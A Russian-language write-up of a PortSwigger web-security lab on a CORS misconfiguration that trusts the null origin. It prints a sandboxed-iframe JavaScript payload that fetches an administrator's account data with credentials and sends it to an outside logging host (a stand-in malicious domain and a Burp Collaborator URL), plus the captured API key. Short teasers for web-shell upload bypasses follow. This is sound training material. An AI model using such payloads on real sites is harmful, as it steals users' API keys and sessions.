На странице
apsyleg1 мин
#portswigger #cors #web-security
CORS с доверенным null origin
Лаборатория
CORS vulnerability with trusted null origin · Apprentice
Решение
Дано
This website has an insecure CORS configuration in that it trusts the "null" origin.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.
You can log in to your own account using the following credentials: wiener:peter
Анализ задания
Фактически лаба аналогична предыдущей — CORS vulnerability with basic origin reflection. Только на этот раз нужно передать null в качестве Origin.
PortSwigger на этот случай предлагает нагрузку:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Добавим URL сервера лабы. Добавим адрес Burp Collaborator.
Итоговая нагрузка
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a0a00ea035af99f80fe030b0009004f.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://lynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com/log?key='+this.responseText;
};
</script>"></iframe>
Прилетело в Burp Collaborator:
{ "username": "administrator", "email": "", "apikey": "JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1", "sessions": ["G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO"] }
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.